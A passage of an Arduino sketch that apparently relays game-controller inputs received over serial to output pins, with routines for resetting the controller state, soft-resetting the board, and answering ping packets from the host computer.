DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer_controller[11] = 0x01; \/\/ Postamble\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n }\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\r\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\r\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\r\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\r\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\r\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\r\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\r\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\r\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\r\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\r\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\r\n digitalWrite(commandArray[12], ((255 - serial_rx_buffer_inverted_controller[2]) & B00010000));\r\n digitalWrite(commandArray[13], ((255 - serial_rx_buffer_inverted_controller[2]) & B00100000));\r\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\r\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ Analog X Axis, Analog Y Axis, C X Axis, C Y Axis\r\n analogWrite(commandArray[16], (255 - serial_rx_buffer_inverted_controller[3]));\r\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\r\n analogWrite(commandArray[18], (255 - serial_rx_buffer_inverted_controller[5]));\r\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\r\n\r\n \/\/ Mode Button, Buffer Array Element 7\r\n \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n Serial.flush();\r\n\r\n \/\/Serial.println(\"RECONNECTED!\");\r\n \/\/Serial.println(disconnectDone);\r\n}\r\n\r\nvoid arduinoReset() {\r\n resetCalled = currentMillis;\r\n\r\n \/\/ Before resetting, we need to reset all Command status, and tell the computer they were reset\r\n serial_rx_buffer_controller[0] = 0x01; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer_controller[11] = 0x01; \/\/ Postamble\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n }\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\r\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\r\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\r\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\r\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\r\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\r\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\r\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\r\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\r\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\r\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\r\n digitalWrite(commandArray[12], ((255 - serial_rx_buffer_inverted_controller[2]) & B00010000));\r\n digitalWrite(commandArray[13], ((255 - serial_rx_buffer_inverted_controller[2]) & B00100000));\r\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\r\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ Analog X Axis, Analog Y Axis, C X Axis, C Y Axis\r\n analogWrite(commandArray[16], (255 - serial_rx_buffer_inverted_controller[3]));\r\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\r\n analogWrite(commandArray[18], (255 - serial_rx_buffer_inverted_controller[5]));\r\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\r\n\r\n \/\/ Mode Button, Buffer Array Element 7\r\n \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n Serial.flush();\r\n\r\n \/\/ Tell the computer the Arduino is about to be Reset\r\n serial_rx_buffer_reset[8] = (byte)((resetCalled & 0xFF));\r\n serial_rx_buffer_reset[7] = (byte)((resetCalled >> 8) & 0xFF);\r\n serial_rx_buffer_reset[6] = (byte)((resetCalled >> 16) & 0xFF);\r\n serial_rx_buffer_reset[5] = (byte)((resetCalled >> 24) & 0xFF);\r\n serial_rx_buffer_reset[0] = 0xA0;\r\n serial_rx_buffer_reset[11] = 0xA0;\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_reset[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n \/\/ Tell the computer the connection is about to be closed\r\n disconnectCalled = currentMillis;\r\n serial_rx_buffer_disconnect[8] = (byte)((disconnectCalled & 0xFF));\r\n serial_rx_buffer_disconnect[7] = (byte)((disconnectCalled >> 8) & 0xFF);\r\n serial_rx_buffer_disconnect[6] = (byte)((disconnectCalled >> 16) & 0xFF);\r\n serial_rx_buffer_disconnect[5] = (byte)((disconnectCalled >> 24) & 0xFF);\r\n \/\/Serial.println(disconnectCalled);\r\n \/\/Serial.println(\"DISCONNECTING...\");\r\n serial_rx_buffer_disconnect[0] = 0x0A;\r\n serial_rx_buffer_disconnect[11] = 0x0A;\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n Serial.end();\r\n isConnected = false;\r\n disconnectDone = currentMillis;\r\n \/\/delay(2500); \/\/ Wait 2.5 seconds before resetting\r\n Serial.begin(baudRate);\r\n\r\n \/\/ Tell the computer the connection has began succesfully\r\n serial_rx_buffer_disconnect[0] = 0x0B;\r\n serial_rx_buffer_disconnect[11] = 0x0B;\r\n serial_rx_buffer_disconnect[8] = (byte)((disconnectDone & 0xFF));\r\n serial_rx_buffer_disconnect[7] = (byte)((disconnectDone >> 8) & 0xFF);\r\n serial_rx_buffer_disconnect[6] = (byte)((disconnectDone >> 16) & 0xFF);\r\n serial_rx_buffer_disconnect[5] = (byte)((disconnectDone >> 24) & 0xFF);\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n\r\n \/\/ Reset all commands again just to make sure\r\n serial_rx_buffer_controller[0] = 0x01; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer_controller[11] = 0x01; \/\/ Postamble\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n }\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\r\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\r\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\r\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\r\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\r\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\r\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\r\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\r\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\r\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\r\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\r\n digitalWrite(commandArray[12], ((255 - serial_rx_buffer_inverted_controller[2]) & B00010000));\r\n digitalWrite(commandArray[13], ((255 - serial_rx_buffer_inverted_controller[2]) & B00100000));\r\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\r\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ Analog X Axis, Analog Y Axis, C X Axis, C Y Axis\r\n analogWrite(commandArray[16], (255 - serial_rx_buffer_inverted_controller[3]));\r\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\r\n analogWrite(commandArray[18], (255 - serial_rx_buffer_inverted_controller[5]));\r\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\r\n\r\n \/\/ Mode Button, Buffer Array Element 7\r\n \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n Serial.flush();\r\n\r\n \/\/ Tell the computer the Arduino has been reset succesfully\r\n resetDone = currentMillis;\r\n serial_rx_buffer_reset[0] = 0xA1;\r\n serial_rx_buffer_reset[11] = 0xA1;\r\n serial_rx_buffer_reset[8] = (byte)((resetDone & 0xFF));\r\n serial_rx_buffer_reset[7] = (byte)((resetDone >> 8) & 0xFF);\r\n serial_rx_buffer_reset[6] = (byte)((resetDone >> 16) & 0xFF);\r\n serial_rx_buffer_reset[5] = (byte)((resetDone >> 24) & 0xFF);\r\n asm volatile (\" jmp 0\"); \/\/ Reset the Arduino through ASM code\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_reset[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n \/\/ From here on, the setup() function will be called again, the computer then proceeds to reset its variables just like an usual startup routine\r\n}\r\n\r\nvoid pressButtons() {\r\n\r\n if (isInputtingDelayed == false) {\r\n \/\/ Define input delay (If Buffer Array Element 9 and 10 !=0)\r\n inputDelay = (unsigned long)serial_rx_buffer[9] << 8 | (unsigned long)serial_rx_buffer[10];\r\n }\r\n if (isInputting == true)\r\n {\r\n if (sendInputOnlyOnce == true)\r\n {\r\n if (sentInputOnce == false)\r\n {\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_controller); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]);\r\n sentInputOnce = true;\r\n \/\/Serial.println(\"TEST 1A\");\r\n }\r\n }\r\n }\r\n\r\n if (sendInputOnlyOnce == false)\r\n {\r\n if (sentInputOnce == true)\r\n {\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_controller); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]);\r\n \/\/sentInputOnce = true;\r\n \/\/Serial.println(\"TEST 1B\");\r\n }\r\n }\r\n }\r\n \/\/Serial.print('\\n');\r\n Serial.flush();\r\n \/\/ Press Button\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\r\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\r\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\r\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\r\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\r\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\r\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\r\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\r\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\r\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\r\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\r\n digitalWrite(commandArray[12], ((255 - serial_rx_buffer_inverted_controller[2]) & B00010000));\r\n digitalWrite(commandArray[13], ((255 - serial_rx_buffer_inverted_controller[2]) & B00100000));\r\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\r\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ Analog X Axis, Analog Y Axis, C X Axis, C Y Axis\r\n analogWrite(commandArray[16], (255 - serial_rx_buffer_inverted_controller[3]));\r\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\r\n analogWrite(commandArray[18], (255 - serial_rx_buffer_inverted_controller[5]));\r\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\r\n\r\n \/\/ Mode Button, Buffer Array Element 7\r\n \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n\r\n \/\/ Buffer Array Elements 9 and 10 are used to tell the Arduino how long commands are executed, on a delay ranging from 1-65535ms\r\n \/\/if (serial_rx_buffer[9] != 0x00)\r\n \/\/if (serial_rx_buffer[10] != 0x00)\r\n if (inputDelay != 0) {\r\n isInputtingDelayed = true;\r\n\r\n \/\/ The block below executes Soft Delay for holding the buttons down\r\n if (isInputtingDelayed == true) {\r\n if (currentMillis - previousInputDelay >= inputDelay) {\r\n \/\/ Now we need to stop the Soft Delay\r\n\r\n \/\/ Depress Buttons (Only if Buffer Array Element 9 and 10 != 0x00)\r\n \/\/serial_rx_buffer_controller[0] = 0x00; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n \/\/serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n \/\/serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n \/\/serial_rx_buffer_controller[11] = 0x00; \/\/ Postamble\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_controller); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]);\r\n \/\/Serial.println(\"TEST 2\");\r\n }\r\n\r\n \/\/ Reset delay to 0\r\n serial_rx_buffer_controller[0] = 0x00; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer_controller[11] = 0x00; \/\/ Postamble\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_controller); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]);\r\n \/\/Serial.println(\"TEST 3\");\r\n }\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\r\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\r\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\r\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\r\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\r\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\r\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\r\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\r\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\r\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\r\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\r\n digitalWrite(commandArray[12], ((255 - serial_rx_buffer_inverted_controller[2]) & B00010000));\r\n digitalWrite(commandArray[13], ((255 - serial_rx_buffer_inverted_controller[2]) & B00100000));\r\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\r\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ Analog X Axis, Analog Y Axis, C X Axis, C Y Axis\r\n analogWrite(commandArray[16], (255 - serial_rx_buffer_inverted_controller[3]));\r\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\r\n analogWrite(commandArray[18], (255 - serial_rx_buffer_inverted_controller[5]));\r\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\r\n\r\n \/\/ Mode Button, Buffer Array Element 7\r\n \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n \/\/Serial.print('\\n');\r\n Serial.flush();\r\n\r\n if (resetBeforeInputStatus == 0) {\r\n manualResetControllerData();\r\n readMotors();\r\n }\r\n\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n \/\/sentInputOnce = true;\r\n previousInputDelay += inputDelay;\r\n inputDelay = 0;\r\n }\r\n }\r\n }\r\n }\r\n}\r\n\r\nvoid getPing() {\r\n readMotors();\r\n \/\/ This function gets PING sent from the computer, then responds with PONG back to the computer\r\n pingTimeIn = (unsigned long)serial_rx_buffer_ping_in[5] << 24 | (unsigned long)serial_rx_buffer_ping_in[6] << 16 | (unsigned long)serial_rx_buffer_ping_in[7] << 8 | (unsigned long)serial_rx_buffer_ping_in[8];\r\n pongTimeOut = pingTimeIn;\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n serial_rx_buffer_pong_out[serial_rx_buffer_counter] = serial_rx_buffer_ping_in[serial_rx_buffer_counter];\r\n if (serial_rx_buffer_counter == 0) {\r\n Serial.write(0x04);\r\n }\r\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\r\n Serial.write(serial_rx_buffer_pong_out[serial_rx_buffer_counter]);\r\n }\r\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\r\n Serial.write(serial_rx_buffer_pong_out[serial_rx_buffer_counter]);\r\n }\r\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\r\n Serial.write(0x00);\r\n }\r\n if (serial_rx_buffer_counter == 11) {\r\n Serial.write(0x04);\r\n }\r\n \/\/Serial.write(serial_rx_buffer[serial_rx_buffer_counter]); \/\/ Write time back to computer\r\n sentPong = true;\r\n }\r\n \/\/previousPingDelay = currentMillis;\r\n lastPingIn = currentMillis;\r\n lastPongOut = currentMillis;\r\n Serial.flush();\r\n sentPong = false;\r\n readMotors();\r\n}\r\n\r\nvoid getPong() {\r\n readMotors();\r\n \/\/ This function gets PONG sent from the computer, then stores it in an Unsigned Long Integer\r\n pongTimeIn = (unsigned 